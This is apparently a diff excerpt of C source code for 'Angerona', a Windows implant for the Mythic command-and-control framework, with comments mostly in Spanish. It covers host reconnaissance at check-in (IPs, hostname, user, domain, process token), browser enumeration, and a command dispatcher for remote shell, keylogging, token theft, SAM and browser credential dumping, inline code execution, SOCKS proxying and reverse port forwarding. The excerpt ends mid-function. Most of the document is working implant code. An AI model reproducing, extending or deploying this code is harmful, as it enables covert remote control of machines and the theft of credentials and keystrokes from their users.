if (CheckBrave(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Brave\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
if (browserCount == 0) {
PackageAddFormatPrintf(salida, FALSE, "No browsers detected.\n\n");
}
// Get default browser
PackageAddFormatPrintf(salida, FALSE, "=== Default Browser ===\n\n");
char defaultBrowser[256] = {0};
char defaultPath[MAX_PATH_LEN] = {0};
if (GetDefaultBrowser(defaultBrowser, sizeof(defaultBrowser),
defaultPath, sizeof(defaultPath))) {
PackageAddFormatPrintf(salida, FALSE, "Name: %s\n", defaultBrowser);
if (strlen(defaultPath) > 0) {
PackageAddFormatPrintf(salida, FALSE, "Path: %s\n", defaultPath);
}
} else {
PackageAddFormatPrintf(salida, FALSE, "Could not determine default browser.\n");
}
// Add output first
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add artifacts for registry reads (after output)
addArtifact(respuesta, "Registry Read", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice");
addArtifact(respuesta, "Registry Read", "HKEY_CLASSES_ROOT\\http\\shell\\open\\command");
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
}
@@ -0,0 +1,16 @@
#pragma once
#ifndef BROWSER_INFO_H
#define BROWSER_INFO_H
#include "analizador.h"
#include "paquete.h"
// Browser information command code (must match translator)
#define BROWSER_INFO_CMD 0x40
// Forward declarations
VOID IdentificarNavegadores(PAnalizador argumentos);
#endif
@@ -0,0 +1,33 @@
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Liberar el analizador antes de salir
if (argumentos) liberarAnalizador(argumentos);
// Optionally send a message (can be NULL for no message like Xenon)
PPaquete salida = nuevoPaquete(0, FALSE);
if (salida) {
addString(salida, "Exiting...", FALSE);
}
// Send task complete response (similar to Xenon's implementation)
paqueteCompletado(tareaUuid, salida);
// Cleanup
if (salida) liberarPaquete(salida);
// Give a brief moment for the response to be sent before process termination
// This is important to ensure the response reaches Mythic
Sleep(250);
// Exit the process
ExitProcess(0);
return TRUE;
}
@@ -0,0 +1,11 @@
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#endif //EXIT_H
@@ -0,0 +1,230 @@
#include "checkin.h"
#include "angerona.h"
#include "socks_manager.h"
#include "paquete.h" // For addCallbackContext
#include "identity.h" // For IdentityGetUserInfo
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// === Obtener Direcciones IPs ===
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) return NULL;
} else return NULL;
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
} else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP);
return tableOfIPs;
}
// === Obtener arquitectura ===
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// === Obtener hostname ===
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// === Obtener usuario ===
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// === Obtener dominio ===
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) NetApiBufferFree(pBuf);
return dominio;
}
// === Obtener OS ===
char* getOsName() { return (PCHAR)"Windows"; }
// === Obtener nombre del proceso actual ===
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */
static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
/* ==========================================================
Check-in principal con soporte SOCKS
========================================================== */
PAnalizador checkin() {
_inf("Iniciando checkin");
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
// Add callback context with initial cwd and impersonation_context
// Get current directory and add to callback context
char initial_cwd[MAX_PATH] = {0};
if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) {
setCurrentDirectoryContext(initial_cwd); // Initialize global context
addCallbackContext(checkin, "cwd", initial_cwd);
_inf("Checkin: Añadido cwd inicial: %s", initial_cwd);
} else {
_wrn("Checkin: No se pudo obtener el directorio actual");
}
// Get current user context (process token) for impersonation_context
// This will show the user even if there's no impersonation active
HANDLE hProcessToken = NULL;
char initial_user[512] = {0};
BOOL user_context_added = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) {
setImpersonationContext(initial_user); // Initialize global context
addCallbackContext(checkin, "impersonation_context", initial_user);
_inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user);
user_context_added = TRUE;
} else {
_wrn("Checkin: IdentityGetUserInfo falló");
}
CloseHandle(hProcessToken);
} else {
DWORD error = GetLastError();
_wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error);
}
if (!user_context_added) {
// If we can't get process token, use the username from obtenerUsuarios()
// Format: domain\username (we'll use hostname as domain if needed)
char* username = obtenerUsuarios();
char* domain = obtenerDominio();
if (username && strlen(username) > 0) {
if (domain && wcslen(domain) > 0) {
// Convert domain from wide char to char
char domain_narrow[256] = {0};
WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL);
snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username);
} else {
// Use hostname as domain if domain is empty
char* hostname = obtenerHostame();
if (hostname && strlen(hostname) > 0) {
snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username);
} else {
strncpy(initial_user, username, sizeof(initial_user) - 1);
}
}
setImpersonationContext(initial_user);
addCallbackContext(checkin, "impersonation_context", initial_user);
_inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user);
} else {
_wrn("Checkin: No se pudo obtener username para impersonation_context");
}
}
_inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length);
// === When mythic_encrypts=True, agent sends plaintext ===
// The C2 profile (HTTP) handles encryption at HTTP layer
// No need for ECC key exchange in checkin
_dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)");
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("Error: respuestaAnalizador NULL. Cierre inminente");
return NULL;
}
_dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
procesarSocksEntrante(respuestaAnalizador);
_dbg("checkin(): completado");
return respuestaAnalizador;
}
@@ -0,0 +1,19 @@
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#include "socks_manager.h" // <— añadido
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin(void);
#endif
@@ -0,0 +1,611 @@
#include "angerona.h"
#include "comandos.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
#include "paquete.h"
/* Forward: handlers for the new commands */
#ifdef ENABLE_SOCKS_CMD
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
#endif
#ifdef ENABLE_RPFWD_CMD
static void startRpfwdHandler(PAnalizador analizadorTarea);
static void stopRpfwdHandler(PAnalizador analizadorTarea);
#endif
BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("========== handleGetTasking INICIO ==========");
_inf("Buffer disponible: %zu bytes", obtenerTarea->tamano);
if (obtenerTarea->tamano < 4) {
_err("ERROR: Buffer demasiado pequeño para leer número de tareas (size=%zu, need=4)", obtenerTarea->tamano);
return FALSE;
}
// Leer número de tareas (4 bytes)
UINT32 numeroTareas = getInt32(obtenerTarea);
_inf("Número de tareas leído: %u, buffer restante después de leer numeroTareas: %zu bytes", numeroTareas, obtenerTarea->tamano);
if (numeroTareas == 0) {
_inf("No hay tareas pendientes");
return TRUE;
}
if (obtenerTarea->tamano == 0 && numeroTareas > 0) {
_err("ERROR CRÍTICO: numeroTareas=%u pero buffer está vacío (0 bytes). Formato incorrecto!", numeroTareas);
return FALSE;
}
for (UINT32 i = 0; i < numeroTareas; i++) {
_inf("========== PROCESANDO TAREA %u/%u ==========", i+1, numeroTareas);
_inf("Tarea %u: Buffer restante antes de leer tamaño: %zu bytes", i+1, obtenerTarea->tamano);
if (obtenerTarea->tamano < 4) {
_err("Tarea %u: Buffer insuficiente para leer tamaño (restante=%zu, need=4)", i+1, obtenerTarea->tamano);
break;
}
// Formato: [task_size (4)][command_code (1)][task_id + parameters...]
// task_size incluye el command_code + task_id + parameters
SIZE_T tamanoTarea = getInt32(obtenerTarea);
_inf("Tarea %u: Tamaño total leído: %zu bytes, buffer restante: %zu bytes", i+1, tamanoTarea, obtenerTarea->tamano);
if (tamanoTarea == 0 || tamanoTarea > 1000000) {
_err("Tarea %u: Tamaño inválido %zu (0x%zX), saltando tarea", i+1, tamanoTarea, tamanoTarea);
_err("Tarea %u: Posible desincronización del buffer, bytes restantes=%zu", i+1, obtenerTarea->tamano);
break; // No continue, sino break porque si el tamaño está mal, todas las siguientes también lo estarán
}
if (obtenerTarea->tamano < 1) {
_err("Tarea %u: Buffer insuficiente para leer command_code (restante=%zu, need=1)", i+1, obtenerTarea->tamano);
break;
}
// Leer el command_code (1 byte)
BYTE tarea = getByte(obtenerTarea);
_inf("Tarea %u: Comando recibido: 0x%02X, buffer restante: %zu bytes", i+1, tarea, obtenerTarea->tamano);
// El tamaño restante es tamanoTarea - 1 (ya leímos el command_code)
tamanoTarea = tamanoTarea - 1;
_inf("Tarea %u: Tamaño restante después de command_code: %zu bytes", i+1, tamanoTarea);
// Debug: log specific command types
if (tarea == START_RPFWD_CMD) {
_inf(">>> START_RPFWD_CMD (0x%02X) detectado <<<", tarea);
} else if (tarea == STOP_RPFWD_CMD) {
_inf(">>> STOP_RPFWD_CMD (0x%02X) detectado <<<", tarea);
} else if (tarea == KEYLOG_START_CMD) {
_inf(">>> KEYLOG_START_CMD (0x%02X) detectado <<<", tarea);
} else if (tarea == KEYLOG_STOP_CMD) {
_inf(">>> KEYLOG_STOP_CMD (0x%02X) detectado <<<", tarea);
}
// Leer el buffer de la tarea (task_id + parameters)
if (obtenerTarea->tamano < tamanoTarea) {
_err("Tarea %u: Buffer insuficiente para leer tarea completa (restante=%zu, need=%zu)",
i+1, obtenerTarea->tamano, tamanoTarea);
break;
}
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
if (!bufferTarea) {
_err("Tarea %u: ERROR: getBytes retornó NULL (tamaño esperado=%zu, buffer restante=%zu)",
i+1, tamanoTarea, obtenerTarea->tamano);
break;
}
_inf("Tarea %u: Buffer obtenido, tamaño=%zu bytes, buffer restante después: %zu bytes",
i+1, tamanoTarea, obtenerTarea->tamano);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (!analizadorTarea) {
_err("ERROR: nuevoAnalizador retornó NULL para tarea %u", i+1);
LocalFree(bufferTarea);
continue;
}
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
#ifdef ENABLE_SHELL_CMD
if (tarea == SHELL_CMD){
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
ejecutarConsola(analizadorTarea);
} else if (tarea == EXIT_CMD) {
#else
if (tarea == EXIT_CMD) {
#endif
cerrarCallback(analizadorTarea);
} else if (tarea == SLEEP_CMD){
sleep(analizadorTarea);
}
#ifdef ENABLE_PS_CMD
else if (tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}
#endif
#ifdef ENABLE_CD_CMD
else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea);
}
#endif
#ifdef ENABLE_LS_CMD
else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea);
}
#endif
#ifdef ENABLE_PWD_CMD
else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea);
}
#endif
#ifdef ENABLE_CP_CMD
else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_MKDIR_CMD
else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea);
}
#endif
#ifdef ENABLE_RM_CMD
else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
}
#endif
#ifdef ENABLE_CAT_CMD
else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_DOWNLOAD_CMD
else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_UPLOAD_CMD
else if (tarea == UPLOAD_CMD) {
SubirFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_SCREENSHOT_CMD
else if (tarea == SCREENSHOT_CMD) {
CapturarPantalla(analizadorTarea);
}
#endif
#ifdef ENABLE_SOCKS_CMD
else if (tarea == START_SOCKS_CMD) {
_dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) {
_dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
}
#endif
#ifdef ENABLE_RPFWD_CMD
else if (tarea == START_RPFWD_CMD) {
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
startRpfwdHandler(analizadorTarea);
_inf("Tarea %u: startRpfwdHandler() retornó", i+1);
} else if (tarea == STOP_RPFWD_CMD) {
_dbg("Received STOP_RPFWD_CMD");
stopRpfwdHandler(analizadorTarea);
}
#endif
#ifdef ENABLE_KEYLOG_START_CMD
else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea);
_inf("===== KEYLOG_START_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_KEYLOG_STOP_CMD
else if (tarea == KEYLOG_STOP_CMD) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_LIST_TOKENS_CMD
else if (tarea == LIST_TOKENS_CMD) {
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
ListarTokens(analizadorTarea);
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_STEAL_TOKEN_CMD
else if (tarea == STEAL_TOKEN_CMD) {
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
RobarToken(analizadorTarea);
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_MAKE_TOKEN_CMD
else if (tarea == MAKE_TOKEN_CMD) {
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
CrearToken(analizadorTarea);
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_REV2SELF_CMD
else if (tarea == REV2SELF_CMD) {
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
RevertirToken(analizadorTarea);
_inf("===== REV2SELF_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_WHOAMI_CMD
else if (tarea == WHOAMI_CMD) {
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
ObtenerUsuarioActual(analizadorTarea);
_inf("===== WHOAMI_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_KILL_CMD
else if (tarea == KILL_CMD) {
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
MatarProceso(analizadorTarea);
_inf("===== KILL_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_BROWSER_INFO_CMD
else if (tarea == BROWSER_INFO_CMD) {
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
IdentificarNavegadores(analizadorTarea);
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_BROWSER_DUMP_CMD
else if (tarea == BROWSER_DUMP_CMD) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_SAMDUMP_CMD
else if (tarea == SAMDUMP_CMD) {
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
SamDumpHandler(analizadorTarea);
_inf("===== SAMDUMP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_CMD
else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea);
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python
// But if called directly, we'll handle it here
_wrn("inline_execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
// liberar analizador si no será usado por otro handler
if (analizadorTarea) liberarAnalizador(analizadorTarea);
if (bufferTarea) LocalFree(bufferTarea);
}
_inf("Tarea %u: Procesamiento completado, buffer restante final: %zu bytes", i+1, obtenerTarea->tamano);
}
_inf("========== handleGetTasking FIN ==========");
_inf("Buffer final restante: %zu bytes", obtenerTarea->tamano);
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
_dbg("Respuesta tiene %zu bytes", respuesta->tamano);
// Debug: imprimir primeros bytes
if (respuesta->tamano > 0) {
_dbg("Primeros 8 bytes: ");
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
_dbg(" 0x%02X ", respuesta->original[i]);
}
}
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
// Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
// Necesitamos leer y verificar el UUID primero
SIZE_T uuidLen = 36;
PCHAR callback_uuid = getString(respuesta, &uuidLen);
_dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid);
// Verificar que el UUID sea correcto (opcional, para debug)
if (uuidLen != 36) {
_wrn("UUID length is not 36 bytes (%zu)", uuidLen);
}
BYTE tipoRespuesta = getByte(respuesta);
_inf("Tipo de respuesta: 0x%02X, buffer restante después de leer tipo: %zu bytes", tipoRespuesta, respuesta->tamano);
if (tipoRespuesta == GET_TASKING) {
_inf("Llamando handleGetTasking() con buffer restante: %zu bytes", respuesta->tamano);
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
_dbg("Respuesta POST_RESPONSE");
return TRUE;
}
_wrn("Tipo desconocido");
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
// Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
// Primero leemos el UUID que Mythic agrega
SIZE_T tamanoUuid = 36;
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
_dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid);
// Luego leemos el tipo de mensaje
BYTE tipoMensaje = getByte(respuestaAnalizador);
if (tipoMensaje != CHECKIN) {
_err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje);
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
// Leer el nuevo UUID del agente
tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
// === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
_dbg("Enviando GET_TASKING...");
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
_err("No se recibió respuesta");
return FALSE;
}
_dbg("Respuesta recibida, dispatch...");
commandDispatch(respuestaAnalizador);
liberarPaquete(obtenerTarea);
liberarAnalizador(respuestaAnalizador);
// Sleep - YA NO se duerme aquí, se duerme en el bucle principal
return TRUE;
}
#ifdef ENABLE_SOCKS_CMD
/* ============================
START_SOCKS_CMD handler
Expected params (in this order inside the task buffer):
- 36 bytes: UUID del task
- UINT32 LocalPort (optional). If absent or zero -> default 1080.
Behavior:
- call socks_manager_init()
- call socks_manager_start_proxy(local_port)
- send response back to Mythic
============================ */
static void startSocksHandler(PAnalizador analizadorTarea) {
_dbg("startSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
// SOCKS usa formato especial sin nbArg, lee puerto directamente
// Formato: UUID (36) + puerto (4)
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
if (localPort == 0) localPort = 1080;
// initialize socks manager (idempotent)
socks_manager_init();
int rc = socks_manager_start_proxy((uint16_t)localPort);
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
if (rc == 0) {
_dbg("socks_manager_start_proxy(%u) OK", localPort);
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
} else {
_err("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
}
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
/* ============================
STOP_SOCKS_CMD handler
Expected params:
- 36 bytes: UUID del task
Behavior:
- call socks_manager_stop_proxy()
- call socks_manager_cleanup()
- send response back to Mythic
============================ */
static void stopSocksHandler(PAnalizador analizadorTarea) {
_dbg("stopSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
_dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid);
int rc = socks_manager_stop_proxy();
_dbg("socks_manager_stop_proxy() rc=%d", rc);
socks_manager_cleanup();
_dbg("socks_manager_cleanup() done");
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
#ifdef ENABLE_RPFWD_CMD
/* ============================
START_RPFWD_CMD handler
Expected params (in this order inside the task buffer):
- 36 bytes: UUID del task
- UINT32 LocalPort (optional). If absent or zero -> default 8080.
Behavior:
- call rpfwd_manager_init()
- call rpfwd_manager_start_listener(local_port)
- send response back to Mythic
============================ */
static void startRpfwdHandler(PAnalizador analizadorTarea) {
_dbg("startRpfwdHandler() enter");
_inf("===== PROCESSING START_RPFWD_CMD (0x62) =====");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
if (!taskUuid || uuidLen != 36) {
_err("startRpfwdHandler: Error leyendo UUID (len=%zu)", uuidLen);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
return;
}
// Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4) + param2 (4)...
UINT32 nbArg = getInt32(analizadorTarea);
_dbg("startRpfwdHandler: nbArg=%u", nbArg);
// Leer el puerto (primer parámetro)
UINT32 localPort = 0;
if (nbArg > 0) {
localPort = (UINT32)getInt32(analizadorTarea);
_dbg("startRpfwdHandler: leído puerto=%u", localPort);
}
_dbg("startRpfwdHandler: taskId=%.*s nbArg=%u port=%u", 36, taskUuid, nbArg, localPort);
if (localPort == 0) localPort = 8080; // Default RPFWD port
// initialize rpfwd manager (idempotent)
rpfwd_manager_init();
int rc = rpfwd_manager_start_listener((uint16_t)localPort);
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
if (rc == 0) {
_inf("rpfwd_manager_start_listener(%u) OK", localPort);
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward started on port %u\n", localPort);
PackageAddFormatPrintf(salida, FALSE, "Connections to %s:%u (agent) will be forwarded to remote host\n",
"0.0.0.0", localPort);
// Add Network Connection artifact
char artifact_buf[256];
snprintf(artifact_buf, sizeof(artifact_buf), "Reverse Port Forward listener started on port %u", localPort);
addArtifact(respuesta, "Network Connection", artifact_buf);
} else {
